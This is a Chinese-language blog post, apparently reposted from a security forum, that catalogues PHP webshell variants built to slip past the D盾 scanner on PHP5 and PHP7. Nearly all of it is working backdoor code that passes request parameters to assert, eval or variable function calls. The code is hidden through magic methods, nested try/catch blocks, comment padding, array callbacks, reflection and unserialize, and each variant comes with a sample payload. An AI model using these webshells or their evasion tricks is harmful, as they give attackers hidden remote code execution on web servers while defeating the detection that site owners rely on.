原文始发于先知社区(维生素泡腾片):webshell免杀的一点尝试—php5,php7(过d盾2.1.6.2-0105更新版)
前言
看了很多师傅关于webshell的文章,可谓是各式各样,字符的,汉字的,混淆的,不可打印的,难免让我心痒痒也想来试一试,以d盾2.1.6.2扫不出来为目标
说道php,大部分的webshell(小马)归根到最后都是希望能够实现代码(或命令)执行,无外乎就离不开eval和assert,所以这篇文章也是以此为核心,提供一些绕过的思路。(抛砖引玉~)
字符串函数(与类的结合)
- 关于字符串函数,尝试了很多,核心在于利用字符串函数进行各种错综复杂的拼接,然后实现可变函数调用,实现代码执行
- 但是d盾对于拼接和可变函数的识别是比较有效的
- 比如:之前在p师傅博客看的这种
- 确实够绕够混淆,但是放在d盾面前直接爆红了
- 所以直接赤裸裸的用可变函数这条思路可以暂且放下了
- 那么用字符串函数处理一下简单的放到函数里面效果如何
- 好像也是不行,那放到类里面会如何呢?
class A{
public function test($name){
$temp = substr($name,6);
$name = substr($name,0,6);
$name($temp);
}
}
$obj = new A();
$obj->test($_GET[1]);
- payload=shell.php?0=assertphpinfo();
- 看来真应了那句话,没有什么是加一层解决不了的,如果有,那就再加一层,本文下面的很多尝试都有或多或少基于这句话,在混淆静态扫描很有效果。
类与魔术方法
既然可以用类写,那是不是可以把类里魔术方法都试验一遍
构造和析构方法
class A{
private $name;
public function __construct($name)
{
$this->name = $name;
$temp = substr($name,6);
$name = substr($name,0,6);
$name($temp);
}
}
$obj = new A($_GET[1]);
## 析构方法
class B{
private $name;
public function __construct($name)
{
$this->name = $name;
}
public function __destruct()
{
$temp = substr($this->name,6);
$name = substr($this->name,0,6);
$name($temp);
}
}
$obj = new B($_GET[1]);
get和set方法
## set方法
class Demo{
public function __set($name, $value)
{
$temp = substr($name,6);
$name = substr($name,0,6);
$name($temp);
}
}
$obj = new Demo();
$obj->$_GET[1]='占位的';
## get方法
class Demo{
public function __get($name)
{
$temp = substr($name,6);
$name = substr($name,0,6);
$name($temp);
}
}
$obj = new Demo();
echo $obj->$_GET[1];
- 整体看会发现get和set方法也是比较简单的,比较省力。而且,这个字符串处理函数确实好用,这也算是增加一层的感觉(后面也有相关案例)
其他魔术方法
其他魔术方法都可以沿用这种方式,与此雷同,我就把代码直接放过来,不多解释了,大家可以在此基础更多发挥
## toString方法
class Demo
{
private $name;
public function __construct($name)
{
$this->name = $name;
}
public function __toString()
{
$temp = substr($this->name,6);
$name = substr($this->name,0,6);
$name($temp);
return '占位';
}
}
$obj = new Demo($_GET[1]);
echo $obj;
## clone方法
class Demo
{
private $name;
public function __construct($name)
{
$this->name = $name;
}
public function __clone()
{
$temp = substr($this->name,6);
$name = substr($this->name,0,6);
$name($temp);
}
}
$obj = new Demo($_GET[1]);
$obj2 = clone $obj;
## call方法
class Demo
{
public function __call($name,$args)
{
$name($args[0]);
}
}
$obj = new Demo();
$obj->$_GET[0]($_GET[1]);
## callStatic方法(最简单)
class Demo{
public static function __callStatic($name, $arguments)
{
$name($arguments[0]);
}
}
Demo::$_GET[0]($_GET[1]);
## isset方法
class Demo{
public function __isset($name){
$temp = substr($name,6);
$name = substr($name,0,6);
$name($temp);
}
}
$obj = new Demo();
isset($obj->$_GET[0]);
## unset方法
class Demo{
public function __unset($name){
$temp = substr($name,6);
$name = substr($name,0,6);
$name($temp);
}
}
$obj = new Demo();
unset($obj->$_GET[0]);
可以看出来,能够传参的魔术方法最简单,而d盾都是扫不出来的,只能说php语法过于灵活,诸如Demo::$_GET[0]($_GET[1])
或者是$obj->$_GET[0]($_GET[1])
这种形式的语法结构,正则匹配也是很难去推测的。
代码结构与包含(php7可用)
从上个板块的试探中已经看出了一些端倪,那就是可以通过不同的代码结构进行嵌套,而绕过扫描,那我们就来进行下一步的试探。
try…catch…
- 简单包在函数里
function say($name){ try{ $temp = substr($name,6); $name = substr($name,0,6); $name($temp); }catch (Exception $e){ var_dump($e); } } say($_GET[1]);
这样就解决的文章开头部分无法在函数里出现的问题
- 包含类里面(php7可用)
因为php7之后,assert已经作为语言构造器的方式出现,也就是说不可以向可变函数那样,通过拼接执行,所以必须要直面这个问题。以下这个方法可以直接用assert,而实现绕过。
class A{
private $name;
public function __construct($name)
{
$this->name = $name;
}
public function __destruct()
{
try{
assert($this->name);
}catch (Exception $e){
$e->getMessage();
} finally {
echo 'suibian';
}
}
}
new A($_GET[1]);
可以看出,多加个一层,就扫不出来了,try...catch...
的结构很灵活,还可以在catch,finally的代码块里写。
## 写到catch里
class A{
public function __destruct()
{
try{
throw new ErrorException($_GET[1]);
}catch (Exception $e){
assert($e->getMessage());
} finally {
echo 'suibian';
}
}
}
new A();
## 写到finally里
class A{
public function __destruct()
{
try{
$this->a = $_GET[1];
$name=substr($this->a,0);
}catch (Exception $e){
echo 'abc';
} finally {
assert($name);
}
}
}
new A();
其中,写到finally中做了一个处理,如果直接用会被识别出来,所以上面加了一个字符串函数。另外,换了变量,竟然作用域能够得到,还是php够灵活,其实用加个构造方法就没什么问题的,只不过想让代码量更短小(其实就是懒了)
包多层混淆(php7可用)
刚刚试过函数包含try...catch...
,但是,还是用的可变函数,能不能assert甚至eval也都能直接用,试验下来,直接放到try和finally里是不行的(还可以试验一下字符串处理函数。。。),放到catch里可以
function show()
{
try{
throw new ErrorException($_GET[1]);
}catch (Exception $e){
assert($e->getMessage());
} finally {
echo 'suibian';
}
}
show();
但是,还是不死心,如何在try里能通过,既然两层不够,就再加一层,毕竟还有eval没有试验呢
现实还是很无情的,不过,看起来确实是这样的,外面再加一层try...catch...
不过是换汤不换药罢了,显得不太礼貌哈。但是,有意思的事情发生了,我在上面加一个try...catch..
,就扫不出来了。
try {
echo '占位';
}catch (Exception $e){
echo '占位';
}
try {
function show($name){
try{
assert($name);
}catch (Exception $e){
var_dump($e);
}
}
show($_GET[1]);
}catch (Exception $e){
echo 123;
}
既然包多层是好用的,在不用类的情况下,尝试那再多包几层,看可不可行,把for,foreach,全部都用上
function say($name)
{
for ($i = 0; $i < 1; $i++) {
foreach ([1] as $v){
try {
assert($name);
throw new Exception($name);
}catch (Exception $exception){
assert($exception->getMessage());
}
}
}
}
say($_GET[1]);
发现,只要包的层够多,无论是在try的哪个位置写都扫不出来了,甚至eval写进去也是没问题的。
eval和assert(php7可用)
其实,d盾在识别eval,assert上也算是挺严格的了,明面上的方式识别率都不低,而且,像早先冰蝎写到类里的方式,用invoke魔术方法触发,也是毫不迟疑的识别出来,所以要考虑一些比较稀奇古怪的方式来试试。
- 一个奇怪的知识点(php5可用)
在各种测试的过程中发现,eval('$a')
中,单引号包裹的变量是能够识别的,变量的值可以被替换再由eval执行,而assert('$a')
中就不可以,所以做如下尝试。
$a = $_GET[1];
$p = $_GET[2];
abd($a,$p);
function abd($a,$p){
eval('$a($p);');
}
注释混淆(php7)
从上文推测,可以尝试其他的混淆方式,比如用注释混淆一番
非常好用,其中注释的内容要够多,后面也要拼点啥,要不然也能扫出来,单行注释也能写,效果一样
## 多行注释
function demo($name)
{
eval("/*cesjoe*/" . $name." " );
}
demo($_GET[1]);
## 单行注释也可以
function demo($name)
{
eval("//\r\n" . $name." " );
}
demo($_GET[1]);
- assert如何写
##多行注释
function demo($name)
{
if ($name != null) {
$name = $name;
assert("/*cesjoe*/" . $name);
}
}
demo($_GET[1]);
##单行注释
function demo($name)
{
if ($name != null) {
$name = $name;
assert("//jaoijgoia\r\n" . $name);
}
}
demo($_GET[1]);
测试下来发现,assert的识别感觉比eval还严格呢,需要再包一层,而且还要加一行莫名其妙的代码糊弄一下,才扫不出来。
不用注释
其实刚刚整体测试下来发现,不用注释,随便拼点什么都能绕过去,所以,就做了一番尝试
function demo($name)
{
if ($name != null) {
$name = $name;
assert( $name."echo 123;" );
}
}
demo($_GET[1]);
function demo($name)
{
eval("echo 123;" . $name."echo 456; " );
}
demo($_GET[1]);
的确如,诸如eval和assert,随便拼点什么都能过去。既然如此,能不能干脆把最外面的一层去掉,还原真正的‘一句话’呢?
看样没法如意,但是,从说明中看出来,它会自己去拼接推测,那我中间拦一道试试行不行
$name = $_GET[1];
$name = substr($name,0);
eval("echo 123;" . $name."echo 456; " );
果然能过得去,assert也可以依照此法写出来
$name = $_GET[1];
$name = substr($name,0);
assert("\$a=123 and "."$name"."and 33333;",'echo 123;');
其中,assert中第二个参数要写上,才能绕过,但是依然会给一个系统提醒(deprecated),因为assert推荐写法直接写表达式,而不是字符串拼接,虽然能够执行,参数是字符串的功能已经过时了,由此也可以看到,可变函数的路是越来越窄喽。
其他方式
除了上面的众多写法外,还有一些利用可变函数结合的方式特殊方式,就在这边简单列出来看看,都是测试过能绕过的
回调函数
array_map()
function Demo($b){ array_map(key($b), $b); } Demo($_GET); ## payload:shell.php?assert=phpinfo();
array_filter()
function temp($x,$y){ $g = array(1,2,3,4,5,$y); array_filter($g,$x); } temp($_GET[1],$_GET[3]); ## payload:shell.php?1=assert&3=phpinfo();
array_wal_recursive()
function temp($x,$y){ $g = array(1,2,3,4,5,$y); array_uintersect($g,$g,$x); } temp($_GET[1],$_GET[3]); ## payload:shell.php?1=assert&3=phpinfo();
array_uintersect_uassoc()
function temp($x,$y){ $g = array('a'=>1,'b'=>2,'c'=>3,$y=>'d'); array_uintersect_uassoc($g,$g,$x,$x); } temp($_GET[1],$_GET[3]); ## payload:shell.php?1=assert&3=phpinfo();
array_uintersect_assoc()
function temp($x,$y){ $g = array(1,2,3,4,5,$y); array_uintersect_assoc($g,$g,$x); } temp($_GET[1],$_GET[3]); ## payload:shell.php?1=assert&3=phpinfo();
用反射的方式
class One
{
var $b;
function action($name)
{
$temp=$name[0];
$temp($name[1]);
}
}
$reflectionMethod = new ReflectionMethod('One', 'action');
echo $reflectionMethod->invoke(new One(), $_GET);
## payload:shell.php?0=assert&1=phpinfo();
用反射的时候,如果是用ReflectionFunction(函数)反射类会被扫出来,所以只能用ReflectionMethod(对象的方法)反射类。
用反序列化的方式
class Basic{
public $name;
public $age;
public $args;
public function __wakeup()
{
$tmp = $this->name.$this->age;
$this->name = new $tmp();
}
public function __destruct()
{
$this->name->action($this->args);
}
}
class Process{
public function action($arg){
call_user_func($arg[0],$arg[1]);
}
}
unserialize($_GET[1]);
## payload:shell.php?1=O:5:"Basic":3:{s:4:"name";s:3:"Pro";s:3:"age";s:4:"cess";s:4:"args";a:2:{i:0;s:6:"assert";i:1;s:10:"phpinfo();";}}
这个写的有点冗长,回头还可以再简短些试试,应该可以。
小结
整篇文章针对webshell免杀的绕过方式罗列,总结下来可以体现为以下两个思路出发
- 多层包含,凡是具有代码块结构的(流程控制,类,函数,异常处理),都可以尝试多次多顺序的包含尝试
- 字符串处理,如果使用可变函数,多加几层字符串处理,会让其无法有效推测出最终拼接的字符串,尤其是变量同名覆盖,检测难度也会增加。